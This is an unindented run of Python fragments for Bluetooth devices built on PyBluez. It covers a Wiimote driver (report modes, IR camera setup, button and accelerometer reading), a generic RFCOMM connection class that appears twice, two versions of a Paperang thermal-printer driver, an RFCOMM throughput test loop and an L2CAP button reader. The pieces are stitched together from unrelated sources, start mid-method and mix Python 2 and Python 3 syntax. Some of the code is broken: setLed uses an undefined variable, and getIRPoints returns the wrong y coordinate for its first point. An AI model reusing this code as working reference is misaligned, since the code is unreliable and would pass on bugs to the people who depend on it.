# TODO give the choice of the mode to the user
# Set the mode of the data reporting of the Wiimote with the last byte of this sending
# 0x30 : Only buttons (2 bytes)
# 0x31 : Buttons and Accelerometer (3 bytes)
# 0x32 : Buttons + Extension (8 bytes)
# 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
# 0x34 : Buttons + Extension (19 bytes)
# 0x35 : Buttons + Accel + Extension (16 bytes)
# 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
# 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
# 0x3d : Extension (21 bytes)
# 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)
# Enable the IR camera
# Enable IR Camera (Send 0x04 to Output Report 0x13)
# Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
# Write 0x08 to register 0xb00030
# Write Sensitivity Block 1 to registers at 0xb00000
# Write Sensitivity Block 2 to registers at 0xb0001a
# Write Mode Number to register 0xb00033
# Write 0x08 to register 0xb00030 (again)
# Put a sleep of 50ms to avoid a bad configuration of the IR sensor
# Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
# Sensitivity Block 2 is : 40 00
# The mode number is 1 if there is 10 bytes for the IR.
# The mode number is 3 if there is 12 bytes for the IR.
# The mode number is 5 if there is 36 bytes for the IR.
time.sleep(0.050)
self._send(0x52, 0x13, 0x04, check_connection=False)
time.sleep(0.050)
self._send(0x52, 0x1A, 0x04, check_connection=False)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x30,
1,
0x08,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x06,
1,
0x90,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x08,
1,
0x41,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x1A,
1,
0x40,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x33,
1,
0x03,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
time.sleep(0.050)
self._send(
0x52,
0x16,
0x04,
0xB0,
0x00,
0x30,
1,
0x08,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False,
)
self._connected = True
def vibrate(self, duration=1):
self._send(0x52, 0x15, 0x01)
time.sleep(duration)
self._send(0x52, 0x15, 0x00)
def setLed(self, binary):
self._send(0x52, 0x11, int(n << 4))
def _getData(self, check_connection=True):
if check_connection and not self._connected:
raise IOError("No wiimote is connected")
data = self._inSocket.recv(19)
if len(data) != 19:
raise IOError("Impossible to receive all data")
return list(map(ord, data))
def _checkButton(self, bit, mask):
return self._getData()[bit] & mask != 0
def buttonAPressed(self):
return self._checkButton(3, 0x08)
def buttonBPressed(self):
return self._checkButton(3, 0x04)
def buttonUpPressed(self):
return self._checkButton(2, 0x08)
def buttonDownPressed(self):
return self._checkButton(2, 0x04)
def buttonLeftPressed(self):
return self._checkButton(2, 0x01)
def buttonRightPressed(self):
return self._checkButton(2, 0x02)
def buttonPlusPressed(self):
return self._checkButton(2, 0x10)
def buttonMinusPressed(self):
return self._checkButton(3, 0x10)
def buttonHomePressed(self):
return self._checkButton(3, 0x80)
def buttonOnePressed(self):
return self._checkButton(3, 0x02)
def buttonTwoPressed(self):
return self._checkButton(3, 0x01)
# 0x80 means no movement
def getAcceleration(self):
d = self._getData()
ax = d[4] << 2 | d[2] & (0x20 | 0x40)
ay = d[5] << 1 | d[3] & 0x20
az = d[6] << 1 | d[3] & 0x40
return (ax, ay, az)
def getIRPoints(self):
d = self._getData()
x1 = d[7] | ((d[9] & (0b00110000)) << 4)
y1 = d[8] | ((d[9] & (0b11000000)) << 2)
i1 = d[9] & 0b00001111
x2 = d[10] | ((d[12] & (0b00110000)) << 4)
y2 = d[11] | ((d[12] & (0b11000000)) << 2)
i2 = d[12] & 0b00001111
x3 = d[13] | ((d[15] & (0b00110000)) << 4)
y3 = d[14] | ((d[15] & (0b11000000)) << 2)
i3 = d[15] & 0b00001111
x4 = d[16] | ((d[18] & (0b00110000)) << 4)
y4 = d[17] | ((d[18] & (0b11000000)) << 2)
i4 = d[18] & 0b00001111
return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class BluetoothConnection(object):
def __init__(self):
self.client_socket = None
self.server_socket = None
self.connected = False
def createServer(self, port = 3):
self.server_socket=BluetoothSocket( RFCOMM )
self.server_socket.bind(("", port))
self.server_socket.listen(1)
print "Trying to connect.."
self.client_socket, _ = self.server_socket.accept()
print "Connected!"
self.connected = True
def createClient(self, address, port = 3):
if address == "first":
address = self.searchDevices()[0]
self.client_socket=BluetoothSocket( RFCOMM )
print "Trying to connect.."
self.client_socket.connect((address, port))
print "Connected!"
self.connected = True
def searchDevices(self):
return discover_devices()
def receiveData(self, bufsize = 1024):
if self.connected:
return self.client_socket.recv(bufsize)
else:
print "Not yet connected!"
def sendFile(self, filename):
f = open(filename, 'r')
data = f.readlines()
for line in data:
self.sendData(line)
f.close()
def receiveFile(self, filename, bufsize = 4096):
data = self.receiveData(bufsize)
f = open(filename, 'w')
f.writelines(data)
f.flush()
f.close()
def sendData(self, data):
if self.connected:
self.client_socket.send(data)
def closeConnection(self):
if self.server_socket is not None:
self.server_socket.close()
self.client_socket.close()
self.connected = False
class BluetoothConnection(object):
def __init__(self):
self.client_socket = None
self.server_socket = None
self.connected = False
def createServer(self, port=3):
self.server_socket = BluetoothSocket(RFCOMM)
self.server_socket.bind(("", port))
self.server_socket.listen(1)
print "Trying to connect.."
self.client_socket, _ = self.server_socket.accept()
print "Connected!"
self.connected = True
def createClient(self, address, port=3):
if address == "first":
address = self.searchDevices()[0]
self.client_socket = BluetoothSocket(RFCOMM)
print "Trying to connect.."
self.client_socket.connect((address, port))
print "Connected!"
self.connected = True
def searchDevices(self):
return discover_devices()
def receiveData(self, bufsize=1024):
if self.connected:
return self.client_socket.recv(bufsize)
else:
print "Not yet connected!"
def sendFile(self, filename):
f = open(filename, 'r')
data = f.readlines()
for line in data:
self.sendData(line)
f.close()
def receiveFile(self, filename, bufsize=4096):
data = self.receiveData(bufsize)
f = open(filename, 'w')
f.writelines(data)
f.flush()
f.close()
def sendData(self, data):
if self.connected:
self.client_socket.send(data)
def closeConnection(self):
if self.server_socket is not None:
self.server_socket.close()
self.client_socket.close()
self.connected = False
class Paperang:
standardKey = 0x35769521
padding_line = 300
max_send_msg_length = 2016
max_recv_msg_length = 1024
service_uuid = "00001101-0000-1000-8000-00805F9B34FB"
def __init__(self, address=None):
self.address = address
self.crckeyset = False
self.connected = True if self.connect() else False
def connect(self):
if self.address is None and not self.scandevices():
return False
if not self.scanservices():
return False
logging.info("Service found. Connecting to \"%s\" on %s..." %
(self.service["name"], self.service["host"]))
self.sock = BluetoothSocket(RFCOMM)
self.sock.connect((self.service["host"], self.service["port"]))
self.sock.settimeout(60)
logging.info("Connected.")
self.registerCrcKeyToBt()
return True
def disconnect(self):
try:
self.sock.close()
except:
pass
logging.info("Disconnected.")
def scandevices(self):
logging.warning(
"Searching for devices...\n"
"It may take time, you'd better specify mac address to avoid a scan."
)
valid_names = ['MiaoMiaoJi', 'Paperang']
nearby_devices = discover_devices(lookup_names=True)
valid_devices = list(
filter(lambda d: len(d) == 2 and d[1] in valid_names,
nearby_devices))
if len(valid_devices) == 0:
logging.error("Cannot find device with name %s." %
" or ".join(valid_names))
return False
elif len(valid_devices) > 1:
logging.warning(
"Found multiple valid machines, the first one will be used.\n")
logging.warning("\n".join(valid_devices))
else:
logging.warning("Found a valid machine with MAC %s and name %s" %
(valid_devices[0][0], valid_devices[0][1]))
self.address = valid_devices[0][0]
return True
def scanservices(self):
logging.info("Searching for services...")
service_matches = find_service(uuid=self.service_uuid,
address=self.address)
valid_service = list(
filter(
lambda s: 'protocol' in s and 'name' in s and s['protocol'] ==
'RFCOMM' and s['name'] == 'SerialPort', service_matches))
if len(valid_service) == 0:
logging.error("Cannot find valid services on device with MAC %s." %
self.address)
return False
logging.info("Found a valid service")
self.service = valid_service[0]
return True
def sendMsgAllPackage(self, msg):
# Write data directly to device
sent_len = self.sock.send(msg)
logging.info("Sending msg with length = %d..." % sent_len)
def crc32(self, content):
return zlib.crc32(content, self.crcKey
if self.crckeyset else self.standardKey) & 0xffffffff
def packPerBytes(self, bytes, control_command, i):
result = struct.pack('<BBB', 2, control_command, i)
result += struct.pack('<H', len(bytes))
result += bytes
result += struct.pack('<I', self.crc32(bytes))
result += struct.pack('<B', 3)
return result
def addBytesToList(self, bytes):
length = self.max_send_msg_length
result = [bytes[i:i + length] for i in range(0, len(bytes), length)]
return result
def sendToBt(self, data_bytes, control_command, need_reply=True):
bytes_list = self.addBytesToList(data_bytes)
for i, bytes in enumerate(bytes_list):
tmp = self.packPerBytes(bytes, control_command, i)
self.sendMsgAllPackage(tmp)
if need_reply:
return self.recv()
def recv(self):
# Here we assume that there is only one received packet.
raw_msg = self.sock.recv(self.max_recv_msg_length)
parsed = self.resultParser(raw_msg)
logging.info("Recv: " + codecs.encode(raw_msg, "hex_codec").decode())
logging.info("Received %d packets: " % len(parsed) +
"".join([str(p) for p in parsed]))
return raw_msg, parsed
def resultParser(self, data):
base = 0
res = []
while base < len(data) and data[base] == '\x02':
class Info(object):
def __str__(self):
return "\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s" % (
self.command, BtCommandByte.findCommand(
self.command), self.payload_length,
codecs.encode(self.payload, "hex_codec"))
info = Info()
_, info.command, _, info.payload_length = struct.unpack(
'<BBBH', data[base:base + 5])
info.payload = data[base + 5:base + 5 + info.payload_length]
info.crc32 = data[base + 5 + info.payload_length:base + 9 +
info.payload_length]
base += 10 + info.payload_length
res.append(info)
return res
def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
logging.info("Setting CRC32 key...")
msg = struct.pack('<I', int(key ^ self.standardKey))
self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
self.crcKey = key
self.crckeyset = True
logging.info("CRC32 key set.")
def sendPaperTypeToBt(self, paperType=0):
# My guess:
# paperType=0: normal paper
# paperType=1: official paper
msg = struct.pack('<B', paperType)
self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)
def sendPowerOffTimeToBt(self, poweroff_time=0):
msg = struct.pack('<H', poweroff_time)
self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)
def sendImageToBt(self, binary_img):
self.sendPaperTypeToBt()
# msg = struct.pack("<%dc" % len(binary_img), *map(bytes, binary_img))
msg = b"".join(
map(lambda x: struct.pack("<c", x.to_bytes(1, byteorder="little")),
binary_img))
self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
self.sendFeedLineToBt(self.padding_line)
def sendSelfTestToBt(self):
msg = struct.pack('<B', 0)
self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)
def sendDensityToBt(self, density):
msg = struct.pack('<B', density)
self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)
def sendFeedLineToBt(self, length):
msg = struct.pack('<H', length)
self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)
def queryBatteryStatus(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)
def queryDensity(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)
def sendFeedToHeadLineToBt(self, length):
msg = struct.pack('<H', length)
self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)
def queryPowerOffTime(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)
def querySNFromBt(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_SN)
def queryHardwareInfo(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
class Printer:
standardKey = 0x35769521
padding_line = 300
max_send_msg_length = 1536
max_recv_msg_length = 1024
service_uuid = '00001101-0000-1000-8000-00805F9B34FB'
def __init__(self, address=None):
self.address = address
self.crckeyset = False
self.connected = True if self.connect() else False
def init_converter(self, path):
convert_img(path)
def connect(self):
if self.address is None and not self.scandevices():
return False
if not self.scanservices():
return False
logging.info('Service found: connecting to %s on %s...' %
(self.service['name'], self.service['host']))
self.sock = BluetoothSocket()
self.sock.connect((self.service['host'], self.service['port']))
self.sock.settimeout(60)
logging.info('Connected.')
self.registerCrcKeyToBt()
return True
def disconnect(self):
try:
self.sock.close()
except:
pass
logging.info('Disconnected.')
def scandevices(self):
logging.warning('Searching for devices...')
valid_names = ['MiaoMiaoJi', 'Paperang', 'Paperang_P2S']
nearby_devices = discover_devices(lookup_names=True)
valid_devices = list(
filter(lambda d: len(d) == 2 and d[1] in valid_names,
nearby_devices))
if len(valid_devices) == 0:
logging.error('Cannot find device with name %s.' %
' or '.join(valid_names))
return False
elif len(valid_devices) > 1:
logging.warning(
'Found multiple valid machines, the first one will be used.\n')
logging.warning('\n'.join(valid_devices))
else:
logging.warning('Found a valid machine with MAC %s and name %s' %
(valid_devices[0][0], valid_devices[0][1]))
self.address = valid_devices[0][0]
return True
def scanservices(self):
logging.info('Searching for services...')
service_matches = find_service(uuid=self.service_uuid,
address=self.address)
valid_service = list(
filter(
lambda s: 'protocol' in s and 'name' in s and s[
'protocol'] == 'RFCOMM' and
(s['name'] == 'SerialPort' or s['name'] == 'Port'),
service_matches))
if len(valid_service) == 0:
logging.error('Cannot find valid services on device with MAC %s.' %
self.address)
return False
logging.info('Found a valid service')
self.service = valid_service[0]
return True
def sendMsgAllPackage(self, msg):
sent_len = self.sock.send(msg)
logging.info('Sending msg with length = %d...' % sent_len)
def crc32(self, content):
return zlib.crc32(content, self.crcKey
if self.crckeyset else self.standardKey) & 0xffffffff
def packPerBytes(self, bytes, control_command, i):
result = struct.pack('<BBB', 2, control_command, i)
result += struct.pack('<H', len(bytes))
result += bytes
result += struct.pack('<I', self.crc32(bytes))
result += struct.pack('<B', 3)
return result
def addBytesToList(self, bytes):
length = self.max_send_msg_length
result = [bytes[i:(i + length)] for i in range(0, len(bytes), length)]
return result
def sendToBt(self, data_bytes, control_command, need_reply=True):
bytes_list = self.addBytesToList(data_bytes)
for i, bytes in enumerate(bytes_list):
tmp = self.packPerBytes(bytes, control_command, i)
self.sendMsgAllPackage(tmp)
if need_reply:
return self.recv()
def recv(self):
raw_msg = self.sock.recv(self.max_recv_msg_length)
parsed = self.resultParser(raw_msg)
logging.info('Recv: ' + codecs.encode(raw_msg, 'hex_codec').decode())
logging.info('Received %d packets: ' % len(parsed) +
''.join([str(p) for p in parsed]))
return raw_msg, parsed
def resultParser(self, data):
base = 0
res = []
while base < len(data) and data[base] == '\x02':
class Info(object):
def __str__(self):
return '\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s' % (
self.command, BtCommandByte.findCommand(
self.command), self.payload_length,
codecs.encode(self.payload, 'hex_codec'))
info = Info()
_, info.command, _, info.payload_length = struct.unpack(
'<BBBH', data[base:(base + 5)])
info.payload = data[base + 5:base + 5 + info.payload_length]
info.crc32 = data[base + 5 + info.payload_length:base + 9 +
info.payload_length]
base += 10 + info.payload_length
res.append(info)
return res
def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
logging.info('Setting CRC32 key...')
msg = struct.pack('<I', int(key ^ self.standardKey))
self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
self.crcKey = key
self.crckeyset = True
logging.info('CRC32 key set.')
def sendPaperTypeToBt(self, paperType=0):
msg = struct.pack('<B', paperType)
self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)
def sendPowerOffTimeToBt(self, poweroff_time=0):
msg = struct.pack('<H', poweroff_time)
self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)
def print(self, path):
self.sendImageToBt(path)
def sendImageToBt(self, path):
binary_img = convert_img(path)
self.sendPaperTypeToBt()
msg = b''.join(
map(lambda i: struct.pack('<c', i.to_bytes(1, byteorder='little')),
binary_img))
self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
self.sendFeedLineToBt(self.padding_line)
def sendSelfTestToBt(self):
msg = struct.pack('<B', 0)
self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)
def sendDensityToBt(self, density):
msg = struct.pack('<B', density)
self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)
def sendFeedLineToBt(self, length):
msg = struct.pack('<H', length)
self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)
def queryBatteryStatus(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)
def queryDensity(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)
def sendFeedToHeadLineToBt(self, length):
msg = struct.pack('<H', length)
self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)
def queryPowerOffTime(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)
def querySNFromBt(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_SN)
def queryHardwareInfo(self):
msg = struct.pack('<B', 1)
self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
#rfcomm.settimeout(0.0) # set blocking False
#rfcomm.settimeout(0.001)
print("Connected")
data = 'a'*900
data += '\n'
period = 0.001
print('len(data', len(data)+1, 'period', period, 'bytes/ms', len(data)/period/1000.0)
t1 = time.time()
while (True):
try:
rfcomm.send(data.encode('utf-8'))
except BluetoothError as error:
if str(error) != 'timed out':
raise
#t2 = time.time()
#print(t2-t1)
#t1 = time.time()
try:
rfcomm.recv(1024)
except BluetoothError as error:
if str(error) != 'timed out':
raise
#time.sleep(period)
HOME = '\x00\x80'
LEFT = '\x01\x00'
RIGHT = '\x02\x00'
DOWN = '\x04\x00'
UP = '\x08\x00'
PLUS = '\x10\x00'
fdout = BluetoothSocket(L2CAP)
fdout.connect((ADDRESS, 0x11))
fdin = BluetoothSocket(L2CAP)
fdin.connect((ADDRESS, 0x13))
#set Led01
fdin.send(b"\xa2\x11\x10")
loop = 1
while loop == 1:
try:
msg = fdin.recv(23)
#print(msg)
msg_bit = int.from_bytes(msg, 'big')
sys.stdout.write(str(msg_bit) + "\n")
sys.stdout.flush()
except BluetoothError:
print("err")
continue
fdin.close()
fdout.close()
